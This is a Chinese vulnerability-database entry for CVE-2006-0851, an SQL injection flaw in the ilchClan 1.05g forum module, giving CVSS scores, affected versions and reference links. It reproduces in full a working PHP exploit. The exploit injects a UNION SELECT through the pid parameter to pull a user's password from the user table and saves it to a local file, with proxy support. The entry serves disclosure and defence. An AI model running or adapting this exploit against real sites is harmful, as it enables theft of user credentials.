CVE-2006-0851
CVSS7.5
发布时间 :2006-02-22 21:06:00
修订时间 :2011-03-07 21:30:54
NMCOE    

[原文]SQL injection vulnerability in the forum module of ilchClan 1.05g and earlier allows remote attackers to execute arbitrary SQL commands via the pid parameter, when creating a newpost.


[CNNVD]IlchClan forum模块SQL注入漏洞(CNNVD-200602-343)

        ilchClan 1.05g及之前版本的forum模块存在SQL注入漏洞。远程攻击者可以在创建新张贴时借助pid参数执行任意SQL命令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:ilch.de:ilchclan:1.0.3
cpe:/a:ilch.de:ilchclan:1.0.2
cpe:/a:ilch.de:ilchclan:0.0.1
cpe:/a:ilch.de:ilchclan:1.0.4
cpe:/a:ilch.de:ilchclan:1.0.0
cpe:/a:ilch.de:ilchclan:1.0.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0851
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-0851
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200602-343
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/0672
(UNKNOWN)  VUPEN  ADV-2006-0672
http://secunia.com/advisories/18951
(VENDOR_ADVISORY)  SECUNIA  18951
http://xforce.iss.net/xforce/xfdb/24829
(UNKNOWN)  XF  ilchclan-index-sql-injection(24829)
http://www.securityfocus.com/bid/16735
(UNKNOWN)  BID  16735
http://www.osvdb.org/23369
(UNKNOWN)  OSVDB  23369
http://milw0rm.com/exploits/1516
(UNKNOWN)  MILW0RM  1516

- 漏洞信息

IlchClan forum模块SQL注入漏洞
高危 SQL注入
2006-02-22 00:00:00 2006-02-23 00:00:00
远程  
        ilchClan 1.05g及之前版本的forum模块存在SQL注入漏洞。远程攻击者可以在创建新张贴时借助pid参数执行任意SQL命令。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本。

- 漏洞信息 (1516)

ilchClan <= 1.05g (tid) Remote SQL Injection Exploit (EDBID:1516)
php webapps
2006-02-20 Verified
0 x128
N/A [点击下载]
<?
error_reporting(E_ERROR);

function xss_init()
{
    if (!extension_loaded('php_curl'))
    {
       if (!dl('curl.so') and !dl('php_curl.so') and !dl('php_curl.dll'))
       die ("oo error - cannot load curl extension!");
    }
}

function xss_header()
{
    echo "\noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo";
    echo "                                  oo    ooooooo     ooooooo\n";
    echo "                    oooo   oooo o888  o88     888 o888   888o\n";
    echo "                      888o888    888        o888   888888888\n";
    echo "                      o88888o    888     o888   o 888o   o888\n";
    echo "                    o88o   o88o o888o o8888oooo88   88ooo88\n";
    echo "oooooooooooooooooooooooooooooo bxcp 0.299 exploit oooooooooooooooooooooooooooooo\n";
    echo "oo usage          $ php ilchclan-105g-exploit.php [url] [post id] [user id]\n";
    echo "oo proxy support  $ php ilchclan-105g-exploit.php [url] [post id] [user id]\n";
    echo "                    [proxy]:[port]\n";
    echo "oo [post id]      id of a post in the forum where a guest have the permission\n";
    echo "                  to write a reply with a quote\n";
    echo "oo example        $ php ilchclan-105g-exploit.php http://localhost 1 1\n";
    echo "oo open the file ilchclan_pw.html - there you find the password of the user\n\n";
}

function xss_bottom()
{
    echo "\noo discover : x128 - alexander wilhelm - 21/02/2006\n";
    echo "oo contact  : exploit <at> x128.net                    oo website : www.x128.net";
}

function xss_exploit()
{
    $xss_target = $_SERVER['argv'][1] . "/index.php";
    $xss_http_get = "?m=forum&um=newpost&tid=" . $_SERVER['argv'][2] . "&pid=" . urlencode("0 UNION SELECT pass, name FROM prefix_user WHERE id = ". $_SERVER['argv'][3] ."/*");

    $xss_connection = curl_init();

    if ($_SERVER['argv'][4])
    {
        curl_setopt($xss_connection, CURLOPT_TIMEOUT, 8);
        curl_setopt($xss_connection, CURLOPT_PROXY, $_SERVER['argv'][4]);
    }

    curl_setopt ($xss_connection, CURLOPT_URL, $xss_target . $xss_http_get);
    curl_setopt ($xss_connection, CURLOPT_HEADER, 0);
    curl_setopt ($xss_connection, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($xss_connection, CURLOPT_USERAGENT, 'x128');

    $xss_source = curl_exec($xss_connection) or die("oo error - cannot connect!\n");

    if ($xss_source) echo "oo dafaced ...\n";

    $xss_output = fopen("ilchclan_pw.html","w");
    fputs($xss_output, $xss_source);
    fclose($xss_output);

    curl_close ($xss_connection); 
}

xss_init();
xss_header();
xss_exploit();
xss_bottom();
?>

# milw0rm.com [2006-02-20]
		

- 漏洞信息

23369
ilchClan index.php pid Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

ilchClan contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the 'index.php' script not properly sanitizing user-supplied input to the 'pid' variable. This may allow an attacker to inject or manipulate SQL queries in the back-end database.

- 时间线

2006-02-21 Unknow
2006-02-21 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站